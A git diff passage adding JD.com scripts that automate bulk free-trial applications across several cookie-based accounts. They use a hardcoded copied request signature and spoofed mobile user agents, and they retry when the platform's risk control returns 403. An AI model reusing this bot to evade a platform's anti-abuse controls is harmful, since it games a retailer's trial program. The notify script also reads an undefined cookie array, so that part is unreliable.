args_xh.jdPrice}, ${args_xh.jdPrice}`) + console.log(`tabId: ${typeof args_xh.tabId}, ${args_xh.tabId}`) + console.log(`titleFilters: ${typeof args_xh.titleFilters}, ${args_xh.titleFilters}`) + console.log(`trialPrice: ${typeof args_xh.trialPrice}, ${args_xh.trialPrice}`) + console.log(`minSupplyNum: ${typeof args_xh.minSupplyNum}, ${args_xh.minSupplyNum}`) + console.log(`applyNumFilter: ${typeof args_xh.applyNumFilter}, ${args_xh.applyNumFilter}`) + console.log(`applyInterval: ${typeof args_xh.applyInterval}, ${args_xh.applyInterval}`) + console.log(`maxLength: ${typeof args_xh.maxLength}, ${args_xh.maxLength}`) + console.log(`passZhongCao: ${typeof args_xh.passZhongCao}, ${args_xh.passZhongCao}`) + console.log(`printLog: ${typeof args_xh.printLog}, ${args_xh.printLog}`) + console.log(`whiteList: ${typeof args_xh.whiteList}, ${args_xh.whiteList}`) + console.log(`whiteListKeywords: ${typeof args_xh.whiteListKeywords}, ${args_xh.whiteListKeywords}`) + console.log('=======================') + } + resolve() + }) +} + +//获取tabList的,如果不知道tabList有哪些,跑一遍这个function就行了 +function try_tabList() { + return new Promise((resolve, reject) => { + console.log(`获取tabList中...`) + const body = JSON.stringify({ + "version": 2, + "previewTime": "" + }); + let option = taskurl_xh('newtry', 'try_tabList', body) + $.post(option, (err, resp, data) => { + try{ + if(err){ + if(JSON.stringify(err) === `\"Response code 403 (Forbidden)\"`){ + $.isForbidden = true + console.log('账号被京东服务器风控,不再请求该帐号') + } else { + console.log(JSON.stringify(err)) + console.log(`${$.name} API请求失败,请检查网路重试`) + } + } else { + data = JSON.parse(data) + if (data.success) { + for (let tabId of data.data.tabList) console.log(`${tabId.tabName} - ${tabId.tabId}`) + } else { + console.log("获取失败", data) + } + } + } catch (e) { + reject(`⚠️ ${arguments.callee.name.toString()} API返回结果解析出错\n${e}\n${JSON.stringify(data)}`) + } finally { + resolve() + } + }) + }) +} + +//获取商品列表并且过滤 By X1a0He +function try_feedsList(tabId, page) { + return new Promise((resolve, reject) => { + const body = JSON.stringify({ + "tabId": `${tabId}`, + "page": page, + "version": 2, + "source": "default", + "client": "app", + //"previewTime": "" + }); + let option = taskurl_xh('newtry', 'try_feedsList', body) + $.post(option, (err, resp, data) => { + try{ + if(err){ + if(JSON.stringify(err) === `\"Response code 403 (Forbidden)\"`){ + console.log(`请求失败,第 ${$.retrynum+1} 次重试`) + $.retrynum++ + if($.retrynum === 3) {$.isForbidden = true;$.log('多次尝试失败,换个时间再试!')} + } else { + console.log(JSON.stringify(err)) + console.log(`${$.name} API请求失败,请检查网路重试`) + } + } else { + data = JSON.parse(data) + let tempKeyword = ``; + if (data.data) { + $.nowPage === args_xh.totalPages ? $.nowPage = 1 : $.nowPage++; + console.log(`第 ${size++} 次获取试用商品成功,tabId:${args_xh.tabId[$.nowTabIdIndex]} 的 第 ${page}/${args_xh.totalPages} 页`) + console.log(`获取到商品 ${data.data.feedList.length} 条`) + for (let item of data.data.feedList) { + if (item.applyNum === null) { + args_xh.printLog ? console.log(`商品未到申请时间:${item.skuTitle}\n`) : '' + continue + } + if (trialActivityIdList.length >= args_xh.maxLength) { + console.log('商品列表长度已满.结束获取') + break + } + if (item.applyState === 1) { + args_xh.printLog ? console.log(`商品已申请试用:${item.skuTitle}\n`) : '' + continue + } + if (item.applyState !== null) { + args_xh.printLog ? console.log(`商品状态异常,未找到skuTitle\n`) : '' + continue + } + if (args_xh.passZhongCao) { + $.isPush = true; + if (item.tagList.length !== 0) { + for (let itemTag of item.tagList) { + if (itemTag.tagType === 3) { + args_xh.printLog ? console.log('商品被过滤,该商品是种草官专属') : '' + $.isPush = false; + break; + } else if(itemTag.tagType === 5){ + args_xh.printLog ? console.log('商品被跳过,该商品是付费试用!') : '' + $.isPush = false; + break; + } + } + } + } + if (item.skuTitle && $.isPush) { + args_xh.printLog ? console.log(`检测 tabId:${args_xh.tabId[$.nowTabIdIndex]} 的 第 ${page}/${args_xh.totalPages} 页 第 ${$.nowItem++ + 1} 个商品\n${item.skuTitle}`) : '' + if (args_xh.whiteList) { + if (args_xh.whiteListKeywords.some(fileter_word => item.skuTitle.includes(fileter_word))) { + args_xh.printLog ? console.log(`商品白名单通过,将加入试用组,trialActivityId为${item.trialActivityId}\n`) : '' + trialActivityIdList.push(item.trialActivityId) + trialActivityTitleList.push(item.skuTitle) + } + } else { + tempKeyword = ``; + if (parseFloat(item.jdPrice) <= args_xh.jdPrice) { + args_xh.printLog ? console.log(`商品被过滤,商品价格 ${item.jdPrice} < ${args_xh.jdPrice} \n`) : '' + } else if (parseFloat(item.supplyNum) < args_xh.minSupplyNum && item.supplyNum !== null) { + args_xh.printLog ? console.log(`商品被过滤,提供申请的份数小于预设申请的份数 \n`) : '' + } else if (parseFloat(item.applyNum) > args_xh.applyNumFilter && item.applyNum !== null) { + args_xh.printLog ? console.log(`商品被过滤,已申请人数大于预设的${args_xh.applyNumFilter}人 \n`) : '' + } else if (item.jdPrice === null) { + args_xh.printLog ? console.log(`商品被过滤,商品无价,不能申请 \n`) : '' + } else if (parseFloat(item.trialPrice) > args_xh.trialPrice) { + args_xh.printLog ? console.log(`商品被过滤,商品试用价大于预设试用价 \n`) : '' + } else if (args_xh.titleFilters.some(fileter_word => item.skuTitle.includes(fileter_word) ? tempKeyword = fileter_word : '')) { + args_xh.printLog ? console.log(`商品被过滤,含有关键词 ${tempKeyword}\n`) : '' + } else { + args_xh.printLog ? console.log(`商品通过,加入试用组,trialActivityId为${item.trialActivityId}\n`) : '' + if (trialActivityIdList.indexOf(item.trialActivityId) === -1){ + trialActivityIdList.push(item.trialActivityId) + trialActivityTitleList.push(item.skuTitle) + } + } + } + } else if ($.isPush !== false) { + console.error('skuTitle解析异常') + return + } + } + console.log(`当前试用组长度为:${trialActivityIdList.length}`) + //args_xh.printLog ? console.log(`${trialActivityIdList}`) : '' + if (page >= args_xh.totalPages && $.nowTabIdIndex < args_xh.tabId.length) { + //这个是因为每一个tab都会有对应的页数,获取完如果还不够的话,就获取下一个tab + $.nowTabIdIndex++; + $.nowPage = 1; + $.nowItem = 1; + } + $.retrynum = 0 + } else { + console.log(`💩 获得试用列表失败: ${data.message}`) + } + } + } catch (e) { + reject(`⚠️ ${arguments.callee.name.toString()} API返回结果解析出错\n${e}\n${JSON.stringify(data)}`) + } finally { + resolve() + } + }) + }) +} + +function try_apply(title, activityId) { + return new Promise((resolve, reject) => { + console.log(`申请试用商品提交中...`) + args_xh.printLog ? console.log(`商品:${title}`) : '' + args_xh.printLog ? console.log(`id为:${activityId}`) : '' + const body = JSON.stringify({ + "activityId": activityId, + "previewTime": "" + }); + let option = taskurl_xh('newtry', 'try_apply', body) + $.get(option, (err, resp, data) => { + try{ + if(err){ + if(JSON.stringify(err) === `\"Response code 403 (Forbidden)\"`){ + $.isForbidden = true + console.log('账号被京东服务器风控,不再请求该帐号') + } else { + console.log(JSON.stringify(err)) + console.log(`${$.name} API请求失败,请检查网路重试`) + } + } else { + $.totalTry++ + data = JSON.parse(data) + if (data.success && data.code === "1") { // 申请成功 + console.log("申请提交成功") + $.totalSuccess++ + } else if (data.code === "-106") { + console.log(data.message) // 未在申请时间内! + } else if (data.code === "-110") { + console.log(data.message) // 您的申请已成功提交,请勿重复申请… + } else if (data.code === "-120") { + console.log(data.message) // 您还不是会员,本品只限会员申请试用,请注册会员后申请! + } else if (data.code === "-167") { + console.log(data.message) // 抱歉,此试用需为种草官才能申请。查看下方详情了解更多。 + } else if (data.code === "-131") { + console.log(data.message) // 申请次数上限。 + $.isLimit = true; + } else if (data.code === "-113") { + console.log(data.message) // 操作不要太快哦! + } else { + console.log("申请失败", data) + } + } + } catch (e) { + reject(`⚠️ ${arguments.callee.name.toString()} API返回结果解析出错\n${e}\n${JSON.stringify(data)}`) + } finally { + resolve() + } + }) + }) +} + +function try_MyTrials(page, selected) { + return new Promise((resolve, reject) => { + switch (selected) { + case 1: + console.log('正在获取已申请的商品...') + break; + case 2: + console.log('正在获取申请成功的商品...') + break; + case 3: + console.log('正在获取申请失败的商品...') + break; + default: + console.log('selected错误') + } + let options = { + url: URL, + body: `appid=newtry&functionId=try_MyTrials&clientVersion=10.3.4&client=wh5&body=%7B%22page%22%3A${page}%2C%22selected%22%3A${selected}%2C%22previewTime%22%3A%22%22%7D`, + headers: { + 'origin': 'https://prodev.m.jd.com', + 'User-Agent': 'jdapp;iPhone;10.3.4;;;M/5.0;appBuild/167945;jdSupportDarkMode/1;;;Mozilla/5.0 (iPhone; CPU iPhone OS 15_2_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1;', + 'referer': 'https://prodev.m.jd.com/', + 'cookie': $.cookie+$.jda + }, + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`🚫 ${arguments.callee.name.toString()} API请求失败,请检查网路\n${JSON.stringify(err)}`) + } else { + data = JSON.parse(data) + if (data.success) { + //temp adjustment + if (selected === 2) { + if (data.success && data.data) { + for (let item of data.data.list) { + item.status === 4 || item.text.text.includes('试用资格已过期') ? $.giveupNum += 1 : '' + item.status === 2 && item.text.text.includes('试用资格将保留') ? $.successNum += 1 : '' + item.status === 2 && item.text.text.includes('请收货后尽快提交报告') ? $.getNum += 1 : '' + item.status === 2 && item.text.text.includes('试用已完成') ? $.completeNum += 1 : '' + } + console.log(`待领取 | 已领取 | 已完成 | 已放弃:${$.successNum} | ${$.getNum} | ${$.completeNum} | ${$.giveupNum}`) + } else { + console.log(`获得成功列表失败: ${data.message}`) + } + } + } else { + console.error(`ERROR:try_MyTrials`) + } + } + } catch (e) { + reject(`⚠️ ${arguments.callee.name.toString()} API返回结果解析出错\n${e}\n${JSON.stringify(data)}`) + } finally { + resolve() + } + }) + }) +} + +function taskurl_xh(appid, functionId, body = JSON.stringify({})) { + return { + "url": `${URL}?appid=${appid}&functionId=${functionId}&clientVersion=10.3.4&client=wh5&body=${encodeURIComponent(body)}&h5st=20220722121040045%3B9421011440284653%3Ba8ade%3Btk02wc1be1c1818nImmWYyJpQbdlQKevRRwnfH9j6FYPxZraJFFaTc74KP%2F6zXmRHA%2Bb1%2FlrvS60uWUfeCcXA5odZNg5%3B793d2cd94263363f67c9f610642b2e1078a70425fa792b2aacd491161a64b90b%3B3.1%3B1658463040045%3B62f4d401ae05799f14989d31956d3c5f0a269d1342e4ecb6ab00268fc69555cdc3295f00e681fd72cd76a48b9fb3faf3579d80b37c85b023e9e8ba94d8d2b852b9cbef42726bbe41ffd8c74540f4a1ced584468ba9e46bfbef62144b678f5532e02456edc95e6131cb12c2dd5fa5c6c034d2be6091a30ab76acf5da1cf34ef7451e044c9f9f9ce19cc0279b5846e0d92`, + 'headers': { + 'Cookie': $.cookie + $.jda, + 'user-agent': 'jdapp;iPhone;10.1.2;15.0;ff2caa92a8529e4788a34b3d8d4df66d9573f499;network/wifi;model/iPhone13,4;addressid/2074196292;appBuild/167802;jdSupportDarkMode/1;Mozilla/5.0 (iPhone; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'Referer': 'https://prodev.m.jd.com/', + 'origin': 'https://prodev.m.jd.com/', + 'Accept': 'application/json,text/plain,*/*', + 'Accept-Encoding': 'gzip, deflate, br', + 'Accept-Language': 'zh-cn', + 'Content-Type': 'application/x-www-form-urlencoded', + }, + } + + } + +async function showMsg() { + let message = ``; + message += `👤 京东账号${$.index} ${$.nickName || $.UserName}\n`; + if ($.totalSuccess !== 0 && $.totalTry !== 0) { + message += `🎉 本次提交申请:${$.totalSuccess}/${$.totalTry}个商品🛒\n`; + message += `🎉 ${$.successNum}个商品待领取\n`; + message += `🎉 ${$.getNum}个商品已领取\n`; + message += `🎉 ${$.completeNum}个商品已完成\n`; + message += `🗑 ${$.giveupNum}个商品已放弃\n\n`; + } else { + message += `⚠️ 本次执行没有申请试用商品\n`; + message += `🎉 ${$.successNum}个商品待领取\n`; + message += `🎉 ${$.getNum}个商品已领取\n`; + message += `🎉 ${$.completeNum}个商品已完成\n`; + message += `🗑 ${$.giveupNum}个商品已放弃\n\n`; + } + if (!args_xh.jdNotify || args_xh.jdNotify === 'false') { + $.msg($.name, ``, message, { + "open-url": 'https://try.m.jd.com/user' + }) + if ($.isNode()) + notifyMsg += `${message}` + } else { + console.log(message) + } +} + +function totalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": $.cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + }, + "timeout": 10000, + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} + +function _jda(format = 'xxxxxxxxxxxxxxxxxxxx') { + return format.replace(/[xy]/g, function (c) { + var r = Math.random() * 10 | 0, v = c == 'x' ? r : (r & 0x3 | 0x8); + jdaid = v.toString() + return jdaid; + }); +} + const generateRandomInteger = (min, max = 0) => { + if (min > max) { + let temp = min; + min = max; + max = temp; + } + var Range = max - min; + var Rand = Math.random(); + return min + Math.round(Rand * Range); + }; + + function getExtract(array) { + const random = (min, max) => Math.floor(Math.random() * (max - min) + min); + let index=random(0, array.length); + return array.splice(index, 1); +} + +function Env(name, opts) { + class Http { + constructor(env) { + this.env = env + } + + send(opts, method = 'GET') { + opts = typeof opts === 'string' ? { + url: opts + } : opts + let sender = this.get + if (method === 'POST') { + sender = this.post + } + return new Promise((resolve, reject) => { + sender.call(this, opts, (err, resp, body) => { + if (err) reject(err) + else resolve(resp) + }) + }) + } + + get(opts) { + return this.send.call(this.env, opts) + } + + post(opts) { + return this.send.call(this.env, opts, 'POST') + } + } + + return new (class { + constructor(name, opts) { + this.name = name + this.http = new Http(this) + this.data = null + this.dataFile = 'box.dat' + this.logs = [] + this.isMute = false + this.isNeedRewrite = false + this.logSeparator = '\n' + this.startTime = new Date().getTime() + Object.assign(this, opts) + this.log('', `🔔${this.name}, 开始!`) + } + + isNode() { + return 'undefined' !== typeof module && !!module.exports + } + + isQuanX() { + return 'undefined' !== typeof $task + } + + isSurge() { + return 'undefined' !== typeof $httpClient && 'undefined' === typeof $loon + } + + isLoon() { + return 'undefined' !== typeof $loon + } + + toObj(str, defaultValue = null) { + try { + return JSON.parse(str) + } catch { + return defaultValue + } + } + + toStr(obj, defaultValue = null) { + try { + return JSON.stringify(obj) + } catch { + return defaultValue + } + } + + getjson(key, defaultValue) { + let json = defaultValue + const val = this.getdata(key) + if (val) { + try { + json = JSON.parse(this.getdata(key)) + } catch { } + } + return json + } + + setjson(val, key) { + try { + return this.setdata(JSON.stringify(val), key) + } catch { + return false + } + } + + getScript(url) { + return new Promise((resolve) => { + this.get({ + url + }, (err, resp, body) => resolve(body)) + }) + } + + runScript(script, runOpts) { + return new Promise((resolve) => { + let httpapi = this.getdata('@chavy_boxjs_userCfgs.httpapi') + httpapi = httpapi ? httpapi.replace(/\n/g, '').trim() : httpapi + let httpapi_timeout = this.getdata('@chavy_boxjs_userCfgs.httpapi_timeout') + httpapi_timeout = httpapi_timeout ? httpapi_timeout * 1 : 20 + httpapi_timeout = runOpts && runOpts.timeout ? runOpts.timeout : httpapi_timeout + const [key, addr] = httpapi.split('@') + const opts = { + url: `http://${addr}/v1/scripting/evaluate`, + body: { + script_text: script, + mock_type: 'cron', + timeout: httpapi_timeout + }, + headers: { + 'X-Key': key, + 'Accept': '*/*' + } + } + this.post(opts, (err, resp, body) => resolve(body)) + }).catch((e) => this.logErr(e)) + } + + loaddata() { + if (this.isNode()) { + this.fs = this.fs ? this.fs : require('fs') + this.path = this.path ? this.path : require('path') + const curDirDataFilePath = this.path.resolve(this.dataFile) + const rootDirDataFilePath = this.path.resolve(process.cwd(), this.dataFile) + const isCurDirDataFile = this.fs.existsSync(curDirDataFilePath) + const isRootDirDataFile = !isCurDirDataFile && this.fs.existsSync(rootDirDataFilePath) + if (isCurDirDataFile || isRootDirDataFile) { + const datPath = isCurDirDataFile ? curDirDataFilePath : rootDirDataFilePath + try { + return JSON.parse(this.fs.readFileSync(datPath)) + } catch (e) { + return {} + } + } else return {} + } else return {} + } + + writedata() { + if (this.isNode()) { + this.fs = this.fs ? this.fs : require('fs') + this.path = this.path ? this.path : require('path') + const curDirDataFilePath = this.path.resolve(this.dataFile) + const rootDirDataFilePath = this.path.resolve(process.cwd(), this.dataFile) + const isCurDirDataFile = this.fs.existsSync(curDirDataFilePath) + const isRootDirDataFile = !isCurDirDataFile && this.fs.existsSync(rootDirDataFilePath) + const jsondata = JSON.stringify(this.data) + if (isCurDirDataFile) { + this.fs.writeFileSync(curDirDataFilePath, jsondata) + } else if (isRootDirDataFile) { + this.fs.writeFileSync(rootDirDataFilePath, jsondata) + } else { + this.fs.writeFileSync(curDirDataFilePath, jsondata) + } + } + } + + lodash_get(source, path, defaultValue = undefined) { + const paths = path.replace(/\[(\d+)\]/g, '.$1').split('.') + let result = source + for (const p of paths) { + result = Object(result)[p] + if (result === undefined) { + return defaultValue + } + } + return result + } + + lodash_set(obj, path, value) { + if (Object(obj) !== obj) return obj + if (!Array.isArray(path)) path = path.toString().match(/[^.[\]]+/g) || [] + path.slice(0, -1).reduce((a, c, i) => (Object(a[c]) === a[c] ? a[c] : (a[c] = Math.abs(path[i + 1]) >> 0 === +path[i + 1] ? [] : {})), obj)[ + path[path.length - 1] + ] = value + return obj + } + + getdata(key) { + let val = this.getval(key) + // 如果以 @ + if (/^@/.test(key)) { + const [, objkey, paths] = /^@(.*?)\.(.*?)$/.exec(key) + const objval = objkey ? this.getval(objkey) : '' + if (objval) { + try { + const objedval = JSON.parse(objval) + val = objedval ? this.lodash_get(objedval, paths, '') : val + } catch (e) { + val = '' + } + } + } + return val + } + + setdata(val, key) { + let issuc = false + if (/^@/.test(key)) { + const [, objkey, paths] = /^@(.*?)\.(.*?)$/.exec(key) + const objdat = this.getval(objkey) + const objval = objkey ? (objdat === 'null' ? null : objdat || '{}') : '{}' + try { + const objedval = JSON.parse(objval) + this.lodash_set(objedval, paths, val) + issuc = this.setval(JSON.stringify(objedval), objkey) + } catch (e) { + const objedval = {} + this.lodash_set(objedval, paths, val) + issuc = this.setval(JSON.stringify(objedval), objkey) + } + } else { + issuc = this.setval(val, key) + } + return issuc + } + + getval(key) { + if (this.isSurge() || this.isLoon()) { + return $persistentStore.read(key) + } else if (this.isQuanX()) { + return $prefs.valueForKey(key) + } else if (this.isNode()) { + this.data = this.loaddata() + return this.data[key] + } else { + return (this.data && this.data[key]) || null + } + } + + setval(val, key) { + if (this.isSurge() || this.isLoon()) { + return $persistentStore.write(val, key) + } else if (this.isQuanX()) { + return $prefs.setValueForKey(val, key) + } else if (this.isNode()) { + this.data = this.loaddata() + this.data[key] = val + this.writedata() + return true + } else { + return (this.data && this.data[key]) || null + } + } + + initGotEnv(opts) { + this.got = this.got ? this.got : require('got') + this.cktough = this.cktough ? this.cktough : require('tough-cookie') + this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar() + if (opts) { + opts.headers = opts.headers ? opts.headers : {} + if (undefined === opts.headers.Cookie && undefined === opts.cookieJar) { + opts.cookieJar = this.ckjar + } + } + } + + get(opts, callback = () => { }) { + if (opts.headers) { + delete opts.headers['Content-Type'] + delete opts.headers['Content-Length'] + } + if (this.isSurge() || this.isLoon()) { + if (this.isSurge() && this.isNeedRewrite) { + opts.headers = opts.headers || {} + Object.assign(opts.headers, { + 'X-Surge-Skip-Scripting': false + }) + } + $httpClient.get(opts, (err, resp, body) => { + if (!err && resp) { + resp.body = body + resp.statusCode = resp.status + } + callback(err, resp, body) + }) + } else if (this.isQuanX()) { + if (this.isNeedRewrite) { + opts.opts = opts.opts || {} + Object.assign(opts.opts, { + hints: false + }) + } + $task.fetch(opts).then( + (resp) => { + const { + statusCode: status, + statusCode, + headers, + body + } = resp + callback(null, { + status, + statusCode, + headers, + body + }, body) + }, + (err) => callback(err) + ) + } else if (this.isNode()) { + this.initGotEnv(opts) + this.got(opts).on('redirect', (resp, nextOpts) => { + try { + if (resp.headers['set-cookie']) { + const ck = resp.headers['set-cookie'].map(this.cktough.Cookie.parse).toString() + if (ck) { + this.ckjar.setCookieSync(ck, null) + } + nextOpts.cookieJar = this.ckjar + } + } catch (e) { + this.logErr(e) + } + // this.ckjar.setCookieSync(resp.headers['set-cookie'].map(Cookie.parse).toString()) + }).then( + (resp) => { + const { + statusCode: status, + statusCode, + headers, + body + } = resp + callback(null, { + status, + statusCode, + headers, + body + }, body) + }, + (err) => { + const { + message: error, + response: resp + } = err + callback(error, resp, resp && resp.body) + } + ) + } + } + + post(opts, callback = () => { }) { + // 如果指定了请求体, 但没指定`Content-Type`, 则自动生成 + if (opts.body && opts.headers && !opts.headers['Content-Type']) { + opts.headers['Content-Type'] = 'application/x-www-form-urlencoded' + } + if (opts.headers) delete opts.headers['Content-Length'] + if (this.isSurge() || this.isLoon()) { + if (this.isSurge() && this.isNeedRewrite) { + opts.headers = opts.headers || {} + Object.assign(opts.headers, { + 'X-Surge-Skip-Scripting': false + }) + } + $httpClient.post(opts, (err, resp, body) => { + if (!err && resp) { + resp.body = body + resp.statusCode = resp.status + } + callback(err, resp, body) + }) + } else if (this.isQuanX()) { + opts.method = 'POST' + if (this.isNeedRewrite) { + opts.opts = opts.opts || {} + Object.assign(opts.opts, { + hints: false + }) + } + $task.fetch(opts).then( + (resp) => { + const { + statusCode: status, + statusCode, + headers, + body + } = resp + callback(null, { + status, + statusCode, + headers, + body + }, body) + }, + (err) => callback(err) + ) + } else if (this.isNode()) { + this.initGotEnv(opts) + const { + url, + ..._opts + } = opts + this.got.post(url, _opts).then( + (resp) => { + const { + statusCode: status, + statusCode, + headers, + body + } = resp + callback(null, { + status, + statusCode, + headers, + body + }, body) + }, + (err) => { + const { + message: error, + response: resp + } = err + callback(error, resp, resp && resp.body) + } + ) + } + } + + /** + * + * 示例:$.time('yyyy-MM-dd qq HH:mm:ss.S') + * :$.time('yyyyMMddHHmmssS') + * y:年 M:月 d:日 q:季 H:时 m:分 s:秒 S:毫秒 + * 其中y可选0-4位占位符、S可选0-1位占位符,其余可选0-2位占位符 + * @param {*} fmt 格式化参数 + * + */ + time(fmt) { + let o = { + 'M+': new Date().getMonth() + 1, + 'd+': new Date().getDate(), + 'H+': new Date().getHours(), + 'm+': new Date().getMinutes(), + 's+': new Date().getSeconds(), + 'q+': Math.floor((new Date().getMonth() + 3) / 3), + 'S': new Date().getMilliseconds() + } + if (/(y+)/.test(fmt)) fmt = fmt.replace(RegExp.$1, (new Date().getFullYear() + '').substr(4 - RegExp.$1.length)) + for (let k in o) + if (new RegExp('(' + k + ')').test(fmt)) + fmt = fmt.replace(RegExp.$1, RegExp.$1.length == 1 ? o[k] : ('00' + o[k]).substr(('' + o[k]).length)) + return fmt + } + + /** + * 系统通知 + * + * > 通知参数: 同时支持 QuanX 和 Loon 两种格式, EnvJs根据运行环境自动转换, Surge 环境不支持多媒体通知 + * + * 示例: + * $.msg(title, subt, desc, 'twitter://') + * $.msg(title, subt, desc, { 'open-url': 'twitter://', 'media-url': 'https://github.githubassets.com/images/modules/open_graph/github-mark.png' }) + * $.msg(title, subt, desc, { 'open-url': 'https://bing.com', 'media-url': 'https://github.githubassets.com/images/modules/open_graph/github-mark.png' }) + * + * @param {*} title 标题 + * @param {*} subt 副标题 + * @param {*} desc 通知详情 + * @param {*} opts 通知参数 + * + */ + msg(title = name, subt = '', desc = '', opts) { + const toEnvOpts = (rawopts) => { + if (!rawopts) return rawopts + if (typeof rawopts === 'string') { + if (this.isLoon()) return rawopts + else if (this.isQuanX()) return { + 'open-url': rawopts + } + else if (this.isSurge()) return { + url: rawopts + } + else return undefined + } else if (typeof rawopts === 'object') { + if (this.isLoon()) { + let openUrl = rawopts.openUrl || rawopts.url || rawopts['open-url'] + let mediaUrl = rawopts.mediaUrl || rawopts['media-url'] + return { + openUrl, + mediaUrl + } + } else if (this.isQuanX()) { + let openUrl = rawopts['open-url'] || rawopts.url || rawopts.openUrl + let mediaUrl = rawopts['media-url'] || rawopts.mediaUrl + return { + 'open-url': openUrl, + 'media-url': mediaUrl + } + } else if (this.isSurge()) { + let openUrl = rawopts.url || rawopts.openUrl || rawopts['open-url'] + return { + url: openUrl + } + } + } else { + return undefined + } + } + if (!this.isMute) { + if (this.isSurge() || this.isLoon()) { + $notification.post(title, subt, desc, toEnvOpts(opts)) + } else if (this.isQuanX()) { + $notify(title, subt, desc, toEnvOpts(opts)) + } + } + if (!this.isMuteLog) { + let logs = ['', '==============📣系统通知📣=============='] + logs.push(title) + subt ? logs.push(subt) : '' + desc ? logs.push(desc) : '' + console.log(logs.join('\n')) + this.logs = this.logs.concat(logs) + } + } + + log(...logs) { + if (logs.length > 0) { + this.logs = [...this.logs, ...logs] + } + console.log(logs.join(this.logSeparator)) + } + + logErr(err, msg) { + const isPrintSack = !this.isSurge() && !this.isQuanX() && !this.isLoon() + if (!isPrintSack) { + this.log('', `❗️${this.name}, 错误!`, err) + } else { + this.log('', `❗️${this.name}, 错误!`, err.stack) + } + } + + wait(time) { + return new Promise((resolve) => setTimeout(resolve, time)) + } + + done(val = {}) { + const endTime = new Date().getTime() + const costTime = (endTime - this.startTime) / 1000 + this.log('', `🔔${this.name}, 结束! 🕛 ${costTime} 秒`) + this.log() + if (this.isSurge() || this.isQuanX() || this.isLoon()) { + $done(val) + } + } + })(name, opts) +} diff --git a/jd_try_notify.js b/jd_try_notify.js new file mode 100644 index 0000000..8b9b71e --- /dev/null +++ b/jd_try_notify.js @@ -0,0 +1,206 @@ +/* +cron "22 15 * * *" jd_try_notify.js + */ +const $ = new Env('京东试用待领取通知') +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +const notify = $.isNode() ? require('./sendNotify') : ''; +let trialActivityIdList = [] +let trialActivityTitleList = [] +let notifyMsg = '' +let size = 1; +$.isPush = true; +$.isLimit = false; +$.isForbidden = false; +$.wrong = false; +$.giveupNum = 0; +$.successNum = 0; +$.completeNum = 0; +$.getNum = 0; +$.try = true; +$.sentNum = 0; +$.notifyMsg = '' + +let cookiesArr = [], cookie = '', message; + +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { }; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} + +!(async () => { + await requireConfig() + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/', { + "open-url": "https://bean.m.jd.com/" + }) + return + } + // for (let i = 0; i < 200; i++) { + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + $.cookie = $.cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + $.canRun = true; + //await TotalBean(); + console.log(`\n开始【京东账号${$.index}】${$.nickName || $.UserName}\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + let data = await try_list() + try { + list = data.data.list + for (let j = 0; j < list.length; j++) { + item = list[j] + if (item.leftTime) { + if (new Date().getTime() < item.endTime + 60 * 60 * 24 * 1000 * 2) { + let title=item.trialName.length>15?item.trialName.substr(0,30)+'...':item.trialName + console.log(`可免费领取-${title}`) + $.notifyMsg += `【账号】${$.index}.${$.UserName} 可免费领取-${title}\n入口:京东-我的-更多工具-新品试用\n`; + } else { + console.log("开始领取两天后不再推") + } + } + } + } catch (e) { + } + await $.wait(50 * 1000); + } + } + //console.log($.notifyMsg) + if ($.isNode() && $.notifyMsg) { + await notify.sendNotify(`${$.name}`, `${$.notifyMsg}`); + } + +})().catch((e) => { + console.error(`❗️ ${$.name} 运行错误!\n${e}`) +}).finally(() => $.done()) + +async function try_list() { + return 